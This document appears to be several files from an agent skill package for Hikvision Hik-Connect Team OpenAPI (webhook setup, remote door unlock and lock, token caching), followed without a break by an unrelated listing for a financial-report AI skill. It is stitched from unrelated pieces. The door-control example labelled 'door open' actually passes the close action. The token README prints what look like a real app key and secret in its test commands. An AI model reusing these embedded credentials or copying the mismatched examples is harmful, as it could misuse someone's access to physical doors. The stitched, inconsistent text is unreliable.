print("[INFO] Webhook not currently configured")
self.exit_with_json({"success": True, "data": None, "message": "No webhook configuration found"})
else:
print(f"[ERROR] Query failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({"success": False, "message": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")})
def save(self, callback_url: str, sign_secret: str = None, retry_times: int = 3, retry_delay: int = 1000):
"""Save/Subscribe Webhook configuration"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Saving Webhook configuration: {callback_url}")
if not callback_url.startswith("https://"):
print("[ERROR] Callback URL must use HTTPS protocol")
self.exit_with_json({"success": False, "message": "Callback URL must use HTTPS protocol"})
endpoint = "/api/hccgw/webhook/v1/config/save"
payload = {
"callbackUrl": callback_url,
"retryTimes": retry_times,
"retryDelay": retry_delay
}
if sign_secret:
payload["signSecret"] = sign_secret
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
print("[SUCCESS] Webhook configuration saved successfully")
self.exit_with_json({"success": True, "message": "Webhook configuration saved successfully"})
else:
print(f"[ERROR] Save failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({"success": False, "message": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")})
def delete(self):
"""Delete Webhook configuration"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Deleting Webhook configuration...")
endpoint = "/api/hccgw/webhook/v1/config/delete"
result = self.request("POST", endpoint, token_header_key="Token")
if result.get("errorCode") == "0":
print("[SUCCESS] Webhook configuration deleted successfully")
self.exit_with_json({"success": True, "message": "Webhook configuration deleted successfully"})
else:
print(f"[ERROR] Delete failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({"success": False, "message": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Webhook Configuration Management")
subparsers = parser.add_subparsers(dest="command", help="Operation command")
# Query command
subparsers.add_parser("query", help="Query current Webhook configuration")
# Save command
save_parser = subparsers.add_parser("save", help="Save/Subscribe Webhook configuration")
save_parser.add_argument("--url", required=True, help="Callback URL (must be HTTPS)")
save_parser.add_argument("--secret", help="Signing secret (optional, 8-32 alphanumeric combination)")
save_parser.add_argument("--retries", type=int, default=3, help="Retry count (default: 3)")
save_parser.add_argument("--delay", type=int, default=1000, help="Retry interval ms (default: 1000)")
# Delete command
subparsers.add_parser("delete", help="Delete Webhook configuration")
args = parser.parse_args()
client = WebhookManager()
if args.command == "query":
client.query()
elif args.command == "save":
client.save(args.url, args.secret, args.retries, args.delay)
elif args.command == "delete":
client.delete()
else:
parser.print_help()
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_ACS/SKILL.md
---
name: hctopen-acs-control
description: |
HCTOpen door access remote control skill. Supports remote open door, close door, normally open, normally closed operations for Hikvision HCT Team mode (HCT) door access devices.
Use when: Need to remotely control open/close status of one or more door access devices, supports specified device or full operations.
Before calling this Skill's script, please check if user provided operation type. If user didn't provide operation type, please clearly inform user in reply: 'Currently using default parameters (operation type is open door), if you need to adjust, please let me know'. After getting confirmation or ignoring, continue execution.
⚠️ Security Requirement: Must set environment variables: Hik-Connect Team OpenAPI AppKey, Hik-Connect Team OpenAPI SecretKey. (API Domain is automatically obtained from token response)
parameters:
- name: action-type
type: integer
description: "Operation type: 1-open door, 2-close door, 3-normally open, 4-normally closed"
required: true
enum: [1, 2, 3, 4]
- name: element-list
type: string
description: "Resource point list, comma-separated door access resource ID list"
required: true
responses:
- success: true
template: "Door access control operation executed, result as follows:"
media: "list_card"
metadata:
openclaw:
emoji: "🚪"
requires:
env: ["HIK_CONNECT_TEAM_OPENAPI_APP_KEY", "HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY"]
pip: ["requests"]
primaryEnv: "HIK_CONNECT_TEAM_OPENAPI_APP_KEY"
warnings:
- "Need Hik-Connect Team OpenAPI AppKey /Hik-Connect Team OpenAPI SecretKey with door access control permission"
- "Token automatically cached in system temp directory, permission 600"
- "May read ~/.openclaw/*.json for credentials (env vars have priority)"
config:
tokenCache:
default: true
envVar: "HIK_CONNECT_TEAM_TOKEN_CACHE"
description: "Enable Token cache (enabled by default). Set to 0 to disable."
configFileRead:
paths:
- "~/.openclaw/config.json"
- "~/.openclaw/gateway/config.json"
- "~/.openclaw/channels.json"
priority: "lower than environment variables"
description: "Reads Hik-Connect Team credentials from OpenClaw config files as fallback"
---
# HCTOpen ACS Control
HCT is short for Hik-Connect for Teams, meaning Hik-Connect Team mode.
HCTOpen is short for Hik-Connect for Teams OpenAPI.
---
## ⚠️ Security Warning (Read Before Use)
**Before executing door access control, please ensure the following security checks are completed:**
| # | Check Item | Status | Description |
|---|----------------------------|-------------|----------------------------------------------------------------------------------------------------------------|
| 1 | **Credential Permission** | ⚠️ Required | Please use credentials with **minimum control permission**, avoid using super admin credentials |
| 2 | **Operation Confirmation** | ⚠️ Note | Remote door open operation has physical security risk, please ensure site safety is confirmed before operation |
| 3 | **Token Cache** | ✅ Encrypted | Token cached in system temp directory, only current user can read (600 permission) |
| 4 | **API Domain** | ✅ Auto | API domain is automatically obtained from token response (no longer requires manual configuration) |
---
## Quick Start
### Run Control Script
Skill supports flexible command line parameters:
```bash
# Scenario 1: Execute door open operation for specified door access (actionType=1)
python scripts/acs_control.py --action-type 2 --element-list "2aabf37ad9804f66acc4ad4fb7bd4694"
# Scenario 2: Execute door close operation for specified door access (actionType=2)
python scripts/acs_control.py --action-type 2 --element-list "door_resource_id_1,door_resource_id_2"
# Scenario 3: Execute normally open operation for specified door access (actionType=3)
python scripts/acs_control.py --action-type 3 --element-list "door_resource_id_1"
# Scenario 4: Execute normally closed operation for specified door access (actionType=4)
python scripts/acs_control.py --action-type 4 --element-list "door_resource_id_1"
```
---
## API Parameter Details
### 1. Remote Control Request Parameters
**Endpoint**: `POST /api/hccgw/acs/v1/remote/control`
| Parameter Name | Type | Description | Required | Default | Notes |
|----------------|---------|---------------------|----------|---------|---------------------------------------------------------------|
| `actionType` | Integer | Operation type | **Yes** | - | 1-open door, 2-close door, 3-normally open, 4-normally closed |
| `elementlist` | Array | Resource point list | No | [] | Door logical resource ID list |
| `direction` | Integer | Traffic direction | No | 0 | 0-entry, 1-exit. Mainly for gates with direction distinction. |
### 2. API Return Data Description
API returns list of devices that failed execution. If `operationResult` is empty, it means all requested devices operated successfully.
| Field Name | Type | Description | Notes |
|---------------|--------|--------------------------|----------------------------------------|
| `elementId` | String | Door logical resource ID | Identifies which door operation failed |
| `elementName` | String | Door name | Human-readable device name |
| `areaId` | String | Area ID | Device area identifier |
| `areaName` | String | Area name | Device area name |
| `errorCode` | String | Error code | Specific reason code for failure |
---
## Environment Variables
| Variable Name | Required | Description |
|---------------------------------------|----------|-----------------------------------------|
| `HIK_CONNECT_TEAM_OPENAPI_APP_KEY` | Yes | Hik-Connect Team OpenAPI AppKey |
| `HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY` | Yes | Your Hik-Connect Team OpenAPI SecretKey |
| `HIK_CONNECT_TEAM_TOKEN_CACHE` | No | 1=Enable cache (default), 0=Disable |
---
## API Endpoints
| Function | Endpoint |
|---------------------|-----------------------------------------|
| Get Token | `POST /api/hccgw/platform/v1/token/get` |
| Door Access Control | `POST /api/hccgw/acs/v1/remote/control` |
**Domain**: Automatically obtained from token response (`areaDomain` field)
---
## Workflow
```mermaid
graph TD
A[Start Script] --> B{Check Environment Variables}
B -- Missing --> C[Report Error and Exit]
B -- Pass --> D[Get AccessToken]
D --> E{Is Token Valid?}
E -- Cache Valid --> F[Use Cache Directly]
E -- Expired/No Cache --> G[Call API to Get New Token]
G --> H[Save to Local Cache]
F --> I[Send Remote Control Command]
H --> I
I --> J{Parse Return Result}
J -- Failed Devices Exist --> K[Print Failed List Table]
J -- All Successful --> L[Print Success Message]
K --> M[Output Complete JSON Result]
L --> M
M --> N[End]
```
---
## Output Examples
### Partial Operation Failed Example:
```text
[2026-04-22 11:31:34] Executing door access control: Type=1, Count=1
[2026-04-22 11:31:34] Executing door access control: Type=1, Count=1
[WARNING] Some devices operation failed:
======================================================================
Failed Device List
======================================================================
No. Door Resource ID Door Name Area Error Code
------------------------------------------------------------------
1 2aabf37ad9804f66acc4ad4fb7bd4694 VMS000003
======================================================================
[JSON Output]
{
"success": false,
"operationResult": [
{
"elementId": "2aabf37ad9804f66acc4ad4fb7bd4694",
"elementName": "",
"areaId": "",
"areaName": "",
"errorCode": "VMS000003"
}
],
"error": "Some operations failed"
}
======================================================================
Done
======================================================================
```
### All Operations Successful Example:
```text
[2026-04-22 11:36:15] Executing door access control: Type=2, Count=1
[2026-04-22 11:36:15] Executing door access control: Type=2, Count=1
[SUCCESS] All door access operations executed successfully
[JSON Output]
{
"success": true,
"operationResult": []
}
======================================================================
Done
======================================================================
```
---
## File Structure
```
├── scripts/
│ └── acs_control.py # Door access control core execution script
└── SKILL.md # Skill usage documentation
```
---
## FAQ
- **Q: Why does it show "Credentials required"?**
- A: Please ensure `export` command has been correctly executed to set `HIK_CONNECT_TEAM_OPENAPI_APP_KEY` and other environment variables.
- **Q: How long is Token cache valid?**
- A: Follows HCT API standard, usually 7 days. Script will auto-refresh 5 minutes before expiration.
- **Q: How to operate all door access?**
- A: Cannot operate all door access, can only operate specific door access.
- **Q: Why did operation fail?**
- A: Please check device status, permission configuration and network connection. Failed device information will be listed in detail in output.
- **Q: How to get door access logical resource ID?**
- A: Must first use door access device serial number to call `modules/Hik-Connect_Team_Resource/scripts/list_doors.py <device serial number>`, get door access resource ID from returned list.
- **Q: How to get the correct door resource ID?**
- A: Use `list_doors.py` API,Example:
```bash
python scripts/list_doors.py L33721705
# Output: door resource ID is in "Door Access ID" column
```
---
## Security Notes
- Use Hik-Connect Team OpenAPI AppKey / Hik-Connect Team OpenAPI SecretKey with minimum permissions
- Token cached in system temp directory, enabled by default
- Automatic 4-second interval between device requests to avoid rate limiting
- All remote operations require permission authentication
---
## Other Notes
- If user didn't provide operation type, should first inform user and ask about default configuration
- Continue executing request after user confirmation
- Door access control operations all have physical security risks, please operate with caution
---
---
**Error Codes**:
| Return Code | Return Message | Description |
|-------------|---------------------------|--------------------------------------------------------------------------|
| VMS000003 | Resource operation failed | Resource operation failed: The access control resource ID does not exist |
---
FILE:modules/Hik-Connect_Team_ACS/scripts/acs_control.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen ACS Control
"""
import sys
import os
import json
import argparse
from datetime import datetime
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
from token_manager import HCTOpenClient
class ACSControlClient(HCTOpenClient):
"""Door access control client"""
def control(self, action_type: int, element_list: list):
"""Execute door access control operation"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Executing door access control: Type={action_type}, Count={len(element_list) if element_list else 'All'}")
# Check if element_list is empty
if not element_list:
print(
f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] [ERROR] element_list cannot be empty. Please provide at least one resource ID.")
self.exit_with_json({
"success": False,
"error": "element_list is required and cannot be empty",
"errorCode": "PARAMETER_EMPTY"
})
print(
f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Executing door access control: Type={action_type}, Count={len(element_list)}")
endpoint = "/api/hccgw/acs/v1/remote/control"
payload = {
"remoteControl": {
"actionType": action_type,
"elementlist": element_list
}
}
# ACS module API uses "Token" as Header Key
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
op_result = result.get("data", {}).get("operationResult", [])
if op_result:
print("[WARNING] Some devices operation failed:")
headers = ["No.", "Door Resource ID", "Door Name", "Area", "Error Code"]
rows = []
for i, res in enumerate(op_result, 1):
rows.append([
i,
res.get("elementId", "-"),
res.get("elementName", "-"),
res.get("areaName", "-"),
res.get("errorCode", "-")
])
self.print_table("Failed Device List", headers, rows)
self.exit_with_json({"success": False, "operationResult": op_result, "error": "Some operations failed"})
else:
print("[SUCCESS] All door access operations executed successfully")
self.exit_with_json({"success": True, "operationResult": []})
else:
# Use unified message field
print(f"[ERROR] Door access control failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({"success": False, "error": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Door Access Remote Control")
parser.add_argument("--action-type", type=int, required=True, choices=[1, 2, 3, 4], help="1-open door, 2-close door, 3-normally open, 4-normally closed")
parser.add_argument("--element-list", type=str, default="", help="Comma-separated resource ID list")
args = parser.parse_args()
elements = [e.strip() for e in args.element_list.split(',') if e.strip()] if args.element_list else []
client = ACSControlClient()
client.control(args.action_type, elements)
if __name__ == "__main__":
main()
FILE:lib/README_TOKEN_MANAGER.md
# HCT Global Token Manager
🔐 Provides unified Token cache management for all HCT skills.
## 📁 Location
```
/Users/jony/.openclaw/workspace/skills/Hik-Connect Team Skills/lib/token_manager.py
```
## ✨ Features
- **Global Cache**: All skills share the same Token, avoiding repeated acquisition
- **Smart Reuse**: Use cache directly during Token validity period, no API calls
- **Safe Buffer**: Auto-refresh 5 minutes before expiration to avoid boundary issues
- **Multi-Account Support**: Identify different accounts based on md5(appKey:appSecret)
- **Atomic Write**: Write to temporary file first then replace, ensuring data safety
- **Permission Protection**: Cache file permission set to 600 (owner read/write only)
## 🔐 Credential Configuration
**Credentials only need to be configured ONCE. The system will automatically find and use them.**
**Priority order (highest to lowest):**
```
┌─────────────────────────────────────────────────────────────┐
│ 1. Environment Variables (if set) │
│ ├─ HIK_CONNECT_TEAM_OPENAPI_APP_KEY │
│ └─ HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY │
├─────────────────────────────────────────────────────────────┤
│ 2. OpenClaw Config Files (if env vars not set) │
│ ├─ ~/.openclaw/config.json │
│ ├─ ~/.openclaw/gateway/config.json │
│ └─ ~/.openclaw/channels.json ⭐ Recommended │
└─────────────────────────────────────────────────────────────┘
```
### OpenClaw Config File Format
Config file format (same for all three files):
```json
{
"channels": {
"hik_connect_team_openapi": {
"appKey": "Your Hik-Connect Team OpenAPI AppKey",
"secretKey": "Your Hik-Connect Team OpenAPI SecretKey",
"enabled": true
}
}
}
```
**Recommended: Save to `~/.openclaw/channels.json`** — This is the dedicated file for channel credentials.
**⚠️ Security Note**: Before saving credentials to a config file, ask the user for confirmation. Storing credentials on disk is convenient but introduces some risk. Always inform the user of this option and let them choose.
---
## 🚀 Usage
### Method 1: Import and use in Python skills
```python
# Add lib directory to path
import os
import sys
script_dir = os.path.dirname(os.path.abspath(__file__))
workspace_dir = os.path.join(script_dir, "..", "..")
lib_dir = os.path.abspath(os.path.join(workspace_dir, "Hik-Connect Team Skills", "lib"))
if os.path.exists(lib_dir) and lib_dir not in sys.path:
sys.path.insert(0, lib_dir)
from token_manager import get_cached_token
# Get Token (prefer cache, auto-refresh if expired)
token_result = get_cached_token(app_key, app_secret, use_cache=True)
if token_result["success"]:
access_token = token_result["access_token"]
print(f"Token: {access_token}")
print(f"From Cache: {token_result['from_cache']}")
```
### Method 2: Command Line Tool
```bash
cd /Users/jony/.openclaw/workspace/skills/Hik-Connect Team Skills
# Get Token (use cache)
python lib/token_manager.py get --app-key "your_key" --app-secret "your_secret"
# Force refresh Token (no cache)
python lib/token_manager.py refresh --app-key "your_key" --app-secret "your_secret"
# View cache list
python lib/token_manager.py list
# Clear specific account cache
python lib/token_manager.py clear --app-key "your_key" --app-secret "your_secret"
# Clear all cache
python lib/token_manager.py clear
```
## 📊 Cache Location
```
/var/folders/xx/xxxx/T/hctopen_global_token_cache/global_token_cache.json
```
Cache file format:
```json
{
"3aa746c5ea5329ab...": {
"cache_key": "3aa746c5ea5329ab...",
"access_token": "at.ay4x6ris6kl61uao6a3qcjpa1ww...",
"area_domain": "https://ieu-team.hikcentralconnect.com",
"expire_time": 1774419637518,
"created_at": 1773816338280,
"app_key_prefix": "26810f3a..."
}
}
```
## 🔄 Workflow
```
Skill Startup
↓
Call get_cached_token(app_key, app_secret)
↓
Check cache file
├─ Cache exists and not expired → Return cached Token directly ✅
└─ Cache doesn't exist or expired → Call API to get new Token
↓
Save to cache file
↓
Return new Token
```
## 🎯 Integrated Skills
| Skill | Status | File |
|-------------------------------|--------------|----------------------------|
| Device List (device_list) | ✅ Integrated | `scripts/list_devices.py` |
| Device Detail (device_detail) | ✅ Integrated | `scripts/device_detail.py` |
## 🧪 Test Examples
```bash
# 1. Clear cache
python lib/token_manager.py clear
# 2. First acquisition (from API)
python lib/token_manager.py get --app-key "26810f3acd794862b608b6cfbc32a6b8" --app-secret "3155063e93f09f377eaf5ba9f321f8c2"
# Output: From Cache: False
# 3. Get again (from cache)
python lib/token_manager.py get --app-key "26810f3acd794862b608b6cfbc32a6b8" --app-secret "3155063e93f09f377eaf5ba9f321f8c2"
# Output: From Cache: True
# 4. View cache
python lib/token_manager.py list
```
## ⚠️ Notes
1. **Token Validity**: 7 days, auto-refresh 5 minutes before expiration
2. **Cache Cleanup**: System temp directory may be periodically cleaned
3. **Multi-Account**: Each appKey:appSecret combination has independent cache
4. **Security**: Cache file permission 600, owner read/write only
5. **Concurrency**: Supports multi-process simultaneous reading, atomic operation during writing
## 📝 API Functions
### get_cached_token(app_key, app_secret, use_cache=True)
Get Token, prefer using cache.
**Returns**:
```json
{
"success": True,
"access_token": "at.xxx",
"area_domain": "https://hpc-sgp-uat-5.hik-partner.com",
"expire_time": 1774419637518,
"from_cache": True
}
```
### refresh_token(app_key, app_secret, cache_key=None)
Force refresh Token, do not use cache.
### clear_token_cache(app_key=None, app_secret=None)
Clear cache (can specify account or clear all).
### list_cached_tokens()
List all cached Token information.
---
**Error Codes**:
| Return Code | Return Message | Description |
|-------------|-------------------|-------------------------------|
| OPEN000001 | AK does not exist | Please check if AK is correct |
| OPEN000002 | SK error | SK does not match current AK |
FILE:lib/token_manager.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Global Token Manager & Base Client
Provides global Token cache management and base API request encapsulation.
"""
import os
import sys
import time
import json
import hashlib
import tempfile
import requests
from typing import Dict, Any, Optional, List, Union
from pathlib import Path
def _get_openclaw_config_paths():
"""Get list of OpenClaw config file paths to search"""
home = Path.home()
return [
home / ".openclaw" / "config.json",
home / ".openclaw" / "gateway" / "config.json",
home / ".openclaw" / "channels.json",
]
def _load_openclaw_config():
"""Load Hik-Connect Team credentials from OpenClaw config files
Searches for config in the following order:
1. ~/.openclaw/config.json
2. ~/.openclaw/gateway/config.json
3. ~/.openclaw/channels.json
Config format:
{
"channels": {
"hik_connect_team_openapi": {
"appKey": "your_app_key",
"secretKey": "your_secret_key",
"enabled": true
}
}
}
"""
for config_path in _get_openclaw_config_paths():
if config_path.exists():
try:
with open(config_path, "r") as f:
content = f.read().strip()
if not content:
continue
data = json.loads(content)
hct_config = data.get("channels", {}).get("hik_connect_team_openapi", {})
if hct_config.get("enabled", False) and hct_config.get("appKey") and hct_config.get("secretKey"):
return hct_config.get("appKey"), hct_config.get("secretKey")
except (json.JSONDecodeError, OSError):
continue
return None, None
class TokenManager:
"""Manage HCTOpen AccessToken acquisition and caching"""
CACHE_DIR_NAME = "hctopen_global_token_cache"
CACHE_FILE_NAME = "global_token_cache.json"
TOKEN_BUFFER_TIME = 5 * 60 * 1000 # 5-minute buffer
TOKEN_URL = "https://ieu-team.hikcentralconnect.com/api/hccgw/platform/v1/token/get"
def __init__(self):
self.token_url = self.TOKEN_URL
self.cache_file = os.path.join(tempfile.gettempdir(), self.CACHE_DIR_NAME, self.CACHE_FILE_NAME)
os.makedirs(os.path.dirname(self.cache_file), exist_ok=True)
def _get_cache_key(self, app_key: str, secret_key: str) -> str:
return hashlib.md5(f"{app_key}:{secret_key}".encode()).hexdigest()
def _load_cache(self) -> Dict[str, Any]:
if not os.path.exists(self.cache_file):
return {}
try:
with open(self.cache_file, "r") as f:
return json.load(f)
except Exception as e:
print(f"[WARNING] Failed to load Token cache: {e}", file=sys.stderr)
return {}
def _save_cache(self, cache_data: Dict[str, Any]):
try:
temp_file = self.cache_file + ".tmp"
with open(temp_file, "w") as f:
json.dump(cache_data, f, indent=2)
os.replace(temp_file, self.cache_file)
# Only apply permission on Unix systems (os.chmod has no effect on Windows)
if os.name != 'nt':
os.chmod(self.cache_file, 0o600)
except Exception as e:
print(f"[WARNING] Failed to save Token cache: {e}", file=sys.stderr)
def get_token(self, app_key: str, secret_key: str, force_refresh: bool = False) -> Dict[str, Any]:
"""Get Token, prefer using cache"""
use_cache = os.environ.get("HIK_CONNECT_TEAM_TOKEN_CACHE", "1") == "1" and not force_refresh
cache_key = self._get_cache_key(app_key, secret_key)
if use_cache:
cache = self._load_cache()
if cache_key in cache:
token_data = cache[cache_key]
# Handle expire_time in seconds or milliseconds
# HCT API returns expireTime in seconds (e.g., 3600),
# but cache stores it as-is. Convert to milliseconds for comparison.
# If value > 10^11, it's already in milliseconds (e.g., 1774419637518)
expire_time = token_data.get("expire_time", 0)
if expire_time < 10**11:
expire_time *= 1000
if time.time() * 1000 + self.TOKEN_BUFFER_TIME < expire_time:
return {"success": True, "access_token": token_data["access_token"], "area_domain": token_data.get("area_domain"), "from_cache": True}
# Request new Token
try:
resp = requests.post(self.token_url, json={"appKey": app_key, "secretKey": secret_key}, timeout=10)
result = resp.json()
if result.get("errorCode") == "0":
data = result.get("data", {})
access_token = data.get("accessToken")
expire_time = data.get("expireTime") # API usually returns seconds
area_domain = data.get("areaDomain", "").rstrip("/")
# Update cache
cache = self._load_cache()
cache[cache_key] = {
"access_token": access_token,
"expire_time": expire_time,
"area_domain": area_domain,
"app_key_prefix": app_key[:8]
}
self._save_cache(cache)
return {"success": True, "access_token": access_token, "area_domain": area_domain, "from_cache": False}
# Unify error field as message
return {"success": False, "message": result.get("message", "Unknown error"), "errorCode": result.get("errorCode")}
except Exception as e:
return {"success": False, "message": f"Request exception: {str(e)}"}
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
class HCTOpenClient:
"""HCTOpen API Base Client"""
def __init__(self):
# Priority 1: Environment variables (highest)
self.app_key = os.environ.get("HIK_CONNECT_TEAM_OPENAPI_APP_KEY")
self.secret_key = os.environ.get("HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY")
self._config_source = "environment variables"
# Priority 2: OpenClaw config files (only if env vars not set)
if not all([self.app_key, self.secret_key]):
config_app_key, config_secret_key = _load_openclaw_config()
if config_app_key and config_secret_key:
self.app_key = config_app_key
self.secret_key = config_secret_key
self._config_source = "OpenClaw config file"
if not all([self.app_key, self.secret_key]):
print("[ERROR] Credentials not found. Please set either:")
print(" 1. Environment variables: HIK_CONNECT_TEAM_OPENAPI_APP_KEY and HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY")
print(" 2. OpenClaw config file: ~/.openclaw/config.json with channels.hik_connect_team_openapi section")
sys.exit(1)
print(f"[INFO] Using credentials from: {self._config_source}")
self.token_manager = TokenManager()
self._access_token = None
self._area_domain = None
def get_access_token(self, force_refresh: bool = False) -> str:
if not self._access_token or force_refresh:
res = self.token_manager.get_token(self.app_key, self.secret_key, force_refresh)
if res["success"]:
self._access_token = res["access_token"]
self._area_domain = res.get("area_domain", "")
else:
# Unify error field as message
print(f"[ERROR] Failed to get Token: {res.get('message')}")
sys.exit(1)
return self._access_token
def get_area_domain(self) -> str:
"""Get the area domain from token response, must call get_access_token first"""
if not self._area_domain:
self.get_access_token()
return self._area_domain
def request(self, method: str, endpoint: str, json_data: Optional[Dict] = None, params: Optional[Dict] = None, token_header_key: str = "Token") -> Dict[str, Any]:
"""Send request with Token, supports auto retry (when Token expired)"""
# Use areaDomain from token response as the domain
area_domain = self.get_area_domain()
if not area_domain:
return {"errorCode": "-1", "message": "areaDomain not found in token response"}
url = f"{area_domain}{endpoint}"
for attempt in range(2):
headers = {
"Content-Type": "application/json",
token_header_key: self.get_access_token(force_refresh=(attempt > 0))
}
try:
response = requests.request(method, url, headers=headers, json=json_data, params=params, timeout=30)
result = response.json()
# Token invalid error codes - retry once with fresh token
# Common token error codes in Hikvision APIs: 10002 (token expired/invalid), 20004 (token malformed)
error_code = result.get("errorCode")
if error_code in ["10002", "20004"] and attempt == 0:
print("[INFO] Token may be invalid, trying to refresh Token and retry...")
continue
# Unify error field as message
if result.get("errorCode") != "0" and "errorMsg" in result:
result["message"] = result.pop("errorMsg")
return result
except requests.exceptions.RequestException as e:
# Unify error field as message
return {"errorCode": "-1", "message": f"Request exception: {str(e)}"}
except json.JSONDecodeError:
# Unify error field as message
return {"errorCode": "-1", "message": f"JSON parsing failed: {response.text}"}
except Exception as e:
# Unify error field as message
return {"errorCode": "-1", "message": f"Unknown error: {str(e)}"}
# Both attempts failed
return {"errorCode": "-1", "message": "Request failed, Token refresh still invalid or other issue encountered"}
@staticmethod
def print_table(title: str, headers: List[str], rows: List[List[Any]]):
"""Generic table printing utility"""
print("=" * 70)
print(title)
print("=" * 70)
if not rows:
print("No data found")
return
# Calculate max width for each column
col_widths = [len(h) for h in headers]
for row in rows:
for i, val in enumerate(row):
# Ensure val is string, avoid len() error
col_widths[i] = max(col_widths[i], len(str(val)))
# Print header
header_line = " ".join(f"{headers[i]:<{col_widths[i]}}" for i in range(len(headers)))
print(header_line)
print("-" * len(header_line))
# Print rows
for row in rows:
row_line = " ".join(f"{str(val):<{col_widths[i]}}" for i, val in enumerate(row))
print(f"{row_line}")
print("=" * 70)
@staticmethod
def exit_with_json(data: Dict[str, Any]):
"""Output in JSON format and exit"""
print("\n[JSON Output]")
print(json.dumps(data, indent=2, ensure_ascii=False))
print("=" * 70)
print("Done")
print("=" * 70)
sys.exit(0 if data.get("success", True) else 1)
# Backward compatibility (if external code calls get_cached_token directly)
def get_cached_token(app_key, secret_key, use_cache=True):
tm = TokenManager()
return tm.get_token(app_key, secret_key, force_refresh=not use_cache)
if __name__ == "__main__":
# Simple CLI test
# Ensure HIK_CONNECT_TEAM_OPENAPI_APP_KEY, HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY environment variables are set
try:
client = HCTOpenClient()
token = client.get_access_token()
print(f"Test Token: {token[:10]}...")
# Simulate a request
test_endpoint = "/api/hccgw/resource/v1/devices/get" # Hypothetical test endpoint
test_result = client.request("POST", test_endpoint, json_data={"pageIndex":1, "pageSize":1}, token_header_key="Token")
print("Test request result:")
print(json.dumps(test_result, indent=2, ensure_ascii=False))
except Exception as e:
print(f"Test failed: {e}")
Upload Excel, CSV, or PDF financial statements for AI-generated detailed business analysis, including revenue, costs, profitability, cash flow, and anomaly a...
# Financial Report AI (ai-financial-report)
> Upload Excel/CSV/PDF financial statements → AI auto-generates structured business analysis reports (revenue structure / cost anomalies / profitability / cash flow / balance sheet / KPI achievement / anomaly alerts).
## Tiered Features
| Feature | FREE | PRO |
|---------|:----:|:---:|
| Analyses/month | 3 | Unlimited |
| Input formats | CSV, Excel | CSV, Excel, PDF |
| Analysis dimensions | 3 basic | All 7 |
| Charts | ❌ | ✅ |
| Industry comparison | ❌ | ✅ |
| **Price** | **Free** | **$0.01 USDT/use** |
> Upgrade to PRO: [https://skillpay.me/ai-financial-report](https://skillpay.me/ai-financial-report)
---
## Architecture
```
User uploads file
↓
index.js (entry, routes to handlers)
↓
src/handlers/
├── skill_invoke.js ← core analysis engine dispatcher
├── file_upload.js ← file upload handler
└── message_handler.js ← text chat handler
↓
src/services/
├── billing.js ← SkillPay token validation + 5-min cache
├── file_parser.py ← Excel/CSV/PDF parsing
└── report_generator.py ← AI analysis + Markdown rendering
```
## Quick Start
### Upload a File (Recommended)
Upload your Excel/CSV/PDF financial file directly — AI automatically completes the full analysis.
**Supported formats**: `.csv`, `.xlsx`, `.xls`, `.pdf`
### Configure AI API Key
This skill does **not** include an AI model. Users configure their own API key.
Supported AI models (any one):
| Model | Provider | Get API Key |
|-------|----------|-------------|
| GPT-4o | OpenAI | platform.openai.com |
| Claude 3.5 | Anthropic | console.anthropic.com |
| DeepSeek V3 | DeepSeek | platform.deepseek.com |
| Qwen | Alibaba Cloud | bailian.console.aliyun.com |
| MiniMax | MiniMax | platform.minimax.chat |
> **No binding, no recommendation, no restriction** on specific models — user chooses freely.
---
## Output Example
```markdown
# Financial Report Analysis
**Company**: XX Tech Co.
**Period**: Q1 2024
**Tier**: PRO
---
## 1. Revenue Structure
| Item | Value |
|------|-------|
| Total Revenue | 3,800 (10K CNY) |
| YoY Change | +15.3% |
| QoQ Change | +8.2% |
**Structure**: Core business 82%, other business 18%
---
## 7. Anomaly Alerts
| Dimension | Severity | Description | Value |
|-----------|----------|-------------|-------|
| Cost | 🔴 HIGH | Admin expense ratio abnormally high | 18.5% (avg: 12%) |
| Cash Flow | 🟠 MEDIUM | Operating cash flow YoY declined | -12.3% |
```
---
## Data Format
| Format | Notes |
|--------|-------|
| CSV | UTF-8, first row = header |
| Excel (.xlsx) | Multi-sheet, reads first sheet by default |
